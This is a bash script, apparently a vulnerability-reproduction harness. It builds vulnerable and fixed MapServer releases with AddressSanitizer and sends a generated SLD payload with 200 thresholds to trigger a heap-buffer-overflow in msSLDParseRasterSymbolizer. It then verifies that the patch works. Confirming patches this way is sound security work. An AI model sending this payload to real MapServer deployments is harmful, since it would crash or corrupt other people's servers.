#!/bin/bash
set -euo pipefail

# Portable root detection - works anywhere
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO="$ROOT/repro"
EXTERNAL="$ROOT/external"
mkdir -p "$LOGS" "$REPRO" "$EXTERNAL"

cd "$ROOT"

# Install dependencies if missing
if ! command -v cmake &>/dev/null || ! dpkg -l | grep -q libgdal-dev; then
    echo "[*] Installing build dependencies..."
    apt-get update -qq
    apt-get install -y -qq build-essential cmake libgdal-dev libproj-dev \
        libxml2-dev libgeos-dev libgif-dev libtiff-dev libsqlite3-dev \
        python3 gdal-bin
fi

VULN_DIR="$EXTERNAL/mapserver-vuln"
FIXED_DIR="$EXTERNAL/mapserver-fixed"
VULN_BUILD="$VULN_DIR/build"
FIXED_BUILD="$FIXED_DIR/build"

# Clone repositories if they don't exist
if [ ! -d "$VULN_DIR/.git" ]; then
    echo "[*] Cloning vulnerable MapServer (rel-8-6-0)..."
    git clone --depth=200 https://github.com/MapServer/MapServer.git "$VULN_DIR"
    cd "$VULN_DIR"
    git fetch --tags --depth=200
    git checkout rel-8-6-0
fi

if [ ! -d "$FIXED_DIR/.git" ]; then
    echo "[*] Cloning fixed MapServer (rel-8-6-1)..."
    cp -a "$VULN_DIR" "$FIXED_DIR"
    cd "$FIXED_DIR"
    git checkout rel-8-6-1
fi

# Build vulnerable version with ASAN if not already built
if [ ! -f "$VULN_BUILD/mapserv" ]; then
    echo "[*] Building vulnerable mapserv with ASAN..."
    cmake -B "$VULN_BUILD" \
        -DCMAKE_BUILD_TYPE=Debug \
        -DCMAKE_C_FLAGS='-fsanitize=address -g -O1 -fno-omit-frame-pointer' \
        -DCMAKE_CXX_FLAGS='-fsanitize=address -g -O1 -fno-omit-frame-pointer' \
        -DWITH_PYTHON=OFF -DWITH_PHP=OFF -DWITH_PERL=OFF -DWITH_FCGI=OFF \
        -DWITH_PROTOBUFC=OFF -DWITH_HARFBUZZ=OFF -DWITH_FRIBIDI=OFF -DWITH_CAIRO=OFF \
        "$VULN_DIR"
    make -C "$VULN_BUILD" mapserv -j$(nproc)
fi

# Build fixed version with ASAN if not already built
if [ ! -f "$FIXED_BUILD/mapserv" ]; then
    echo "[*] Building fixed mapserv with ASAN..."
    cmake -B "$FIXED_BUILD" \
        -DCMAKE_BUILD_TYPE=Debug \
        -DCMAKE_C_FLAGS='-fsanitize=address -g -O1 -fno-omit-frame-pointer' \
        -DCMAKE_CXX_FLAGS='-fsanitize=address -g -O1 -fno-omit-frame-pointer' \
        -DWITH_PYTHON=OFF -DWITH_PHP=OFF -DWITH_PERL=OFF -DWITH_FCGI=OFF \
        -DWITH_PROTOBUFC=OFF -DWITH_HARFBUZZ=OFF -DWITH_FRIBIDI=OFF -DWITH_CAIRO=OFF \
        "$FIXED_DIR"
    make -C "$FIXED_BUILD" mapserv -j$(nproc)
fi

# Generate test data
cd "$REPRO"

# Create tiny GeoTIFF if missing
if [ ! -f "tiny.tif" ]; then
    echo "[*] Creating tiny.tif..."
    gdal_create -of GTiff -outsize 10 10 -bands 1 -burn 0 -a_srs EPSG:4326 -a_ullr 0 100 100 0 tiny.tif
fi

# Create mapfile
cat > test.map << 'MAPEOF'
MAP
  NAME "repro"
  EXTENT 0 0 100 100
  SIZE 256 256
  IMAGETYPE PNG
  IMAGECOLOR 255 255 255
  PROJECTION
    "init=epsg:4326"
  END
  WEB
    METADATA
      "wms_enable_request" "*"
      "ows_enable_request" "*"
    END
  END
  LAYER
    NAME "r"
    TYPE RASTER
    DATA "tiny.tif"
    STATUS ON
    PROJECTION
      "init=epsg:4326"
    END
  END
END
MAPEOF

# Create MapServer config
cat > mapserver.conf << 'CONFEOF'
CONFIG
  ENV
    MS_MAP_PATTERN "."
  END
END
CONFEOF

# Generate SLD payload with 200 thresholds (>100 to trigger bug)
python3 << 'PYEOF'
import urllib.parse
n = 200
thresholds = "\n".join(f'<se:Threshold>{i}</se:Threshold>' for i in range(n))
sld = f"""<?xml version="1.0"?>
<StyledLayerDescriptor version="1.1.0" xmlns="http://www.opengis.net/sld"
    xmlns:se="http://www.opengis.net/se">
  <NamedLayer><se:Name>r</se:Name>
    <UserStyle><se:FeatureTypeStyle><se:Rule>
      <se:RasterSymbolizer>
        <se:ColorMap><se:Categorize fallbackValue="#000000">
          <se:LookupValue>Rasterdata</se:LookupValue>
          <se:Value>#000000</se:Value>
          {thresholds}
        </se:Categorize></se:ColorMap>
      </se:RasterSymbolizer>
    </se:Rule></se:FeatureTypeStyle></UserStyle>
  </NamedLayer>
</StyledLayerDescriptor>"""
with open("payload.sld", "w") as f:
    f.write(sld)
print(f"Generated SLD with {n} thresholds")
PYEOF

SLD_BODY=$(python3 -c "import urllib.parse; print(urllib.parse.quote(open('payload.sld').read()))")

# Run vulnerable build
rm -f /tmp/asan_mapserv_vuln*
echo "[*] Running vulnerable mapserv..."
ASAN_OPTIONS="log_path=/tmp/asan_mapserv_vuln:detect_leaks=0:halt_on_error=0" \
MAPSERVER_CONFIG_FILE="$REPRO/mapserver.conf" \
QUERY_STRING="MAP=$REPRO/test.map&SERVICE=WMS&REQUEST=GetMap&VERSION=1.1.1&LAYERS=r&STYLES=&SRS=EPSG:4326&BBOX=0,0,100,100&WIDTH=256&HEIGHT=256&FORMAT=image/png&SLD_BODY=${SLD_BODY}" \
REQUEST_METHOD=GET \
"$VULN_BUILD/mapserv" > /dev/null 2>&1 || true

# Find ASAN log
VULN_ASAN=$(ls -t /tmp/asan_mapserv_vuln* 2>/dev/null | head -1 || true)
if [ -z "$VULN_ASAN" ]; then
    echo "[!] No ASAN log from vulnerable build — issue not reproduced"
    exit 1
fi

cp "$VULN_ASAN" "$LOGS/vulnerable_asan.txt"
echo "[*] Vulnerable ASAN log saved to $LOGS/vulnerable_asan.txt"

# Verify it's the expected heap-buffer-overflow in msSLDParseRasterSymbolizer
if ! grep -q "ERROR: AddressSanitizer: heap-buffer-overflow" "$LOGS/vulnerable_asan.txt"; then
    echo "[!] ASAN report does not contain expected heap-buffer-overflow"
    exit 1
fi
if ! grep -q "msSLDParseRasterSymbolizer" "$LOGS/vulnerable_asan.txt"; then
    echo "[!] ASAN report does not mention msSLDParseRasterSymbolizer"
    exit 1
fi

# Run fixed build
rm -f /tmp/asan_mapserv_fixed*
echo "[*] Running fixed mapserv..."
ASAN_OPTIONS="log_path=/tmp/asan_mapserv_fixed:detect_leaks=0:halt_on_error=0" \
MAPSERVER_CONFIG_FILE="$REPRO/mapserver.conf" \
QUERY_STRING="MAP=$REPRO/test.map&SERVICE=WMS&REQUEST=GetMap&VERSION=1.1.1&LAYERS=r&STYLES=&SRS=EPSG:4326&BBOX=0,0,100,100&WIDTH=256&HEIGHT=256&FORMAT=image/png&SLD_BODY=${SLD_BODY}" \
REQUEST_METHOD=GET \
"$FIXED_BUILD/mapserv" > "$LOGS/fixed_response.txt" 2>&1 || true

# Check for ASAN log from fixed build
FIXED_ASAN=$(ls -t /tmp/asan_mapserv_fixed* 2>/dev/null | head -1 || true)
if [ -n "$FIXED_ASAN" ]; then
    echo "[!] Fixed build produced ASAN output — unexpected"
    exit 1
fi

# Verify fixed response looks like a PNG or OGC error (anything but ASAN crash)
if ! grep -q "Content-Type: image/png" "$LOGS/fixed_response.txt"; then
    echo "[!] Fixed build did not return expected PNG response"
    exit 1
fi

echo "[*] Reproduction successful!"
echo "    - Vulnerable build: heap-buffer-overflow in msSLDParseRasterSymbolizer"
echo "    - Fixed build: returns valid PNG image"

# Write runtime manifest
cat > "$REPRO/runtime_manifest.json" << MANIFEST
{
  "vulnerable_binary": "$VULN_BUILD/mapserv",
  "fixed_binary": "$FIXED_BUILD/mapserv",
  "vulnerable_tag": "rel-8-6-0",
  "fixed_tag": "rel-8-6-1",
  "asan_log": "$LOGS/vulnerable_asan.txt",
  "fixed_response": "$LOGS/fixed_response.txt",
  "crash_signature": "heap-buffer-overflow WRITE in msSLDParseRasterSymbolizer (src/mapogcsld.cpp:2895)",
  "payload": "$REPRO/payload.sld",
  "mapfile": "$REPRO/test.map",
  "config": "$REPRO/mapserver.conf",
  "confirmed": true
}
MANIFEST

# Write validation verdict
cat > "$REPRO/validation_verdict.json" << 'VERDICT'
{
  "status": "confirmed",
  "vulnerable_tag": "rel-8-6-0",
  "fixed_tag": "rel-8-6-1",
  "issue_type": "heap-buffer-overflow",
  "affected_function": "msSLDParseRasterSymbolizer",
  "file": "src/mapogcsld.cpp",
  "details": "Vulnerable build triggers ASAN heap-buffer-overflow WRITE in msSLDParseRasterSymbolizer when parsing SLD with >100 thresholds. Fixed build returns valid PNG without ASAN errors."
}
VERDICT

exit 0
